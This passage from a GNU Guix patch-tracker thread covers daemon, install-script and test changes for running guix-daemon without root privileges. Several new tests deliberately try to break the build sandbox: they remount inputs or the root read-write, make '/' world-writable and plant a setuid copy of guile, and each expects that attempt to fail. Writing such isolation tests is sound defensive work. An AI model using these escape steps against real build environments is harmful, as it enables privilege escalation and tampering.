-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2476,8 +2530,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2736,8 +2798,32 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		bool reown = false;
+
+		/* First remove setuid/setgid bits.  */
+		secureFilePerms(tmpDir);
+
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			chown(tmpDir.c_str(), getuid(), getgid());
+			reown = true;
+		    }
+
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
 		    // Rename tmpDir to its parent, with an intermediate step.
@@ -2746,6 +2832,11 @@ void DerivationGoal::deleteTmpDir(bool force)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (reown)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbcee..83e6c3e16ec 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, maxim.cournoyer@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:09 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:08 2025
Received: from localhost ([127.0.0.1]:47877 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1ON-0004e8-Az
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:08 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45438)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NV-0004RE-DP
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:17 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NP-0002SR-Pn; Fri, 28 Feb 2025 09:30:08 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=sVGXaLW10Ms4hxe95q1BQtEJs+WHY2eek+mEc17o+M8=; b=lkhd++w498JhSpZk+A/m
 Ll81iljrjgxlq9TKljCcBiCJ0X4fTD3ce9v9e7DPrWRtIF7j6uHA7Djizit+cqI0KKV+oOELWxDB0
 loUAKfDFffPeKqC7pQFVdqGoB7rQbzKv4XBMXmTCiOYo6eTKC2GPdBJpRFvU7XQrTjqiEjHpHiOXm
 vZMLJvdUGXeuTGtd7nH/Q4UVSZcBySmRCWglQxtZMbwelFFMG+8aA4YOKjCZAyhZbqudgd3KyUI3c
 sUuSZVHaf6sSuc33LlHhudCp/u616ZNHy78Ta5OWD3LqRlOZrXZaLGSlgtbHxkDRZxwDn0552UadT
 1nF22++7aLtNtA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 13/14] guix-install.sh: Support the unprivileged daemon
 where possible.
Date: Fri, 28 Feb 2025 15:29:32 +0100
Message-ID: <26dd92508755f40dbca161e81f801b3c212e1c86.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 106 ++++++++++++++++++++++++++++++++++----------
 1 file changed, 82 insertions(+), 24 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index 8887204df41..b0b0ee84ba5 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -414,6 +414,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg_info "Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg_info "Linking the root user's profile"
@@ -441,38 +446,80 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg_info "user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg_pass "user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg_info "group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg_pass "group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg_info "group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg_info "user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg_pass "user added <guixbuilder${i}>"
-        fi
-    done
+    if can_install_unprivileged_daemon
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg_info "group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg_pass "group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon	\
+	      /gnu /var/guix
+
+	# The unprivileged cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg_info "group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg_pass "group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -487,6 +534,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg_info "remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -529,8 +584,7 @@ sys_enable_guix_daemon()
 
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
-              # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      install_unit gnu-store.mount
 
               systemctl daemon-reload &&
                   systemctl start  guix-daemon; } &&
@@ -654,6 +708,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg_pass "Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg_info "Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:31:07 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:31:07 2025
Received: from localhost ([127.0.0.1]:47870 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1OL-0004di-95
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:31:07 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:45414)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NT-0004Qx-0E
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:16 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NN-0002Rp-Jy; Fri, 28 Feb 2025 09:30:05 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=HxNGlymvq52OsSNSV0ItDLPmN67Gwid6SJgWevq4+BM=; b=ATqLc+mxKQqNSEUz4ctQ
 Zxd5nMkFikqj3GVXHJgWPpmastyZvzGB/nx7wyN1p9DSs84Tf66HvxXOi82sW9/Ul1JjeFkZHn0MJ
 tmyISa6zwC1JDDJ2rq6VD2Okf7+Zxpw2WphdOjy83K7vCWCAjs/Irr9icneR6it2m9qiHNJrtl1iQ
 L7EFKx0kJJbnQooSdnWAD0UbktKSpM94ImbbKnqw41VnOTVJFeMAmaRBVL9RAKfRETOLBEBsJkqUw
 OmMg3IL31tZncXsT4Mi3KP3+Dnge4mJ7lpT8u1B4n6zSOO2GfAyJsnAc9eu1ShytHPs6a1MfWtN7p
 agXzi1dWirW52A==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 11/14] tests: Run in a chroot and unprivileged user
 namespaces.
Date: Fri, 28 Feb 2025 15:29:30 +0100
Message-ID: <fd153e1ba1a543e35561649d7b3e9d472d4f9ef5.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking and warn in that case.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("symlink is symlink")
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write")
("build root cannot be made world-readable")
("/tmp, store, and /dev/{null,full} are writable")
("network is unreachable"): New tests.
* tests/processes.scm ("client + lock"): Skip when
‘unprivileged-user-namespace-supported?’ returns true.

Change-Id: I3b3c3ebdf6db5fd36ee70251d07b893c17ca1b84
---
 build-aux/test-env.in |  16 ++-
 tests/processes.scm   |   9 +-
 tests/store.scm       | 250 ++++++++++++++++++++++++++++++++++++------
 3 files changed, 237 insertions(+), 38 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da581..a3f225582df 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,22 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+	echo "unprivileged user namespaces not supported; \
+running 'guix-daemon $extra_options'" >&2
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/processes.scm b/tests/processes.scm
index ba518f2d9e3..a72ba16f587 100644
--- a/tests/processes.scm
+++ b/tests/processes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2018 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2018, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2019 Mathieu Othacehe <m.othacehe@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
@@ -25,6 +25,8 @@ (define-module (test-processes)
   #:use-module (guix gexp)
   #:use-module ((guix utils) #:select (call-with-temporary-directory))
   #:use-module (gnu packages bootstrap)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix tests)
   #:use-module (srfi srfi-1)
   #:use-module (srfi srfi-64)
@@ -84,6 +86,11 @@ (define-syntax-rule (test-assert* description exp)
       (and (kill (process-id daemon) 0)
            (string-suffix? "guix-daemon" (first (process-command daemon)))))))
 
+(when (unprivileged-user-namespace-supported?)
+  ;; The test below assumes the build process can communicate with the outside
+  ;; world via the TOKEN1 and TOKEN2 files, which is impossible when
+  ;; guix-daemon is set up to build in separate namespaces.
+  (test-skip 1))
 (test-assert* "client + lock"
   (with-store store
     (call-with-temporary-directory
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f433..c22739afe6b 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,191 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(test-assert "symlink is symlink"
+  (let* ((a (add-text-to-store %store "hello.txt" (random-text)))
+         (b (build-expression->derivation
+             %store "symlink"
+             '(symlink (assoc-ref %build-inputs "a") %output)
+             #:inputs `(("a" ,a))))
+         (c (build-expression->derivation
+             %store "symlink-reference"
+             `(call-with-output-file %output
+                (lambda (port)
+                  ;; Check that B is indeed visible as a symlink.  This should
+                  ;; always be the case, both in the '--disable-chroot' and in
+                  ;; the user namespace setups.
+                  (pk 'stat (lstat (assoc-ref %build-inputs "b")))
+                  (display (readlink (assoc-ref %build-inputs "b"))
+                           port)))
+             #:inputs `(("b" ,b)))))
+    (and (build-derivations %store (list c))
+         (string=? (call-with-input-file (derivation->output-path c)
+                     get-string-all)
+                   a))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-remount-input-read-write"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "build root cannot be made world-readable"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-make-root-world-readable"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((guile (string-append (assoc-ref %guile-build-info
+                                                         'bindir)
+                                              "/guile")))
+                    (catch 'system-error
+                      (lambda ()
+                        (chmod "/" #o777))
+                      (lambda args
+                        (format #t "failed to make root writable: ~a~%"
+                                (strerror (system-error-errno args)))
+                        (format #t "attempting read-write remount~%")
+                        (mount "none" "/" "/" (logior MS_BIND MS_REMOUNT))
+                        (chmod "/" #o777)))
+                    (copy-file guile "/guile")
+                    (chmod "/guile" #o6755)
+                    ;; At this point, there's a world-readable setuid 'guile'
+                    ;; binary in the store that remains visible until this
+                    ;; build completes.
+                    (list #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "/tmp, store, and /dev/{null,full} are writable"
+  ;; All of /tmp and all of the store must be writable (the store is writable
+  ;; so that derivation outputs can be written to it, but in practice it's
+  ;; always been wide open).  Things like /dev/null must be writable too.
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-tmp-and-store-are-writable"
+                #~(begin
+                    (mkdir "/tmp/something")
+                    (mkdir (in-vicinity (getenv "NIX_STORE")
+                                        "some-other-thing"))
+                    (call-with-output-file "/dev/null"
+                      (lambda (port)
+                        (display "Welcome to the void." port)))
+                    (catch 'system-error
+                      (lambda ()
+                        (call-with-output-file "/dev/full"
+                          (lambda (port)
+                            (display "No space left!" port)))
+                        (error "Should have thrown!"))
+                      (lambda args
+                        (unless (= ENOSPC (system-error-errno args))
+                          (apply throw args))))
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "network is unreachable"
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-network-unreachable"
+                #~(let ((check-connection-failure
+                         (lambda (address expected-code)
+                           (let ((s (socket AF_INET SOCK_STREAM 0)))
+                             (catch 'system-error
+                               (lambda ()
+                                 (connect s AF_INET (inet-pton AF_INET address) 80))
+                               (lambda args
+                                 (let ((errno (system-error-errno args)))
+                                   (unless (= expected-code errno)
+                                     (error "wrong error code"
+                                            errno (strerror errno))))))))))
+                    (check-connection-failure "127.0.0.1" ECONNREFUSED)
+                    (check-connection-failure "9.9.9.9" ENETUNREACH)
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1522,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
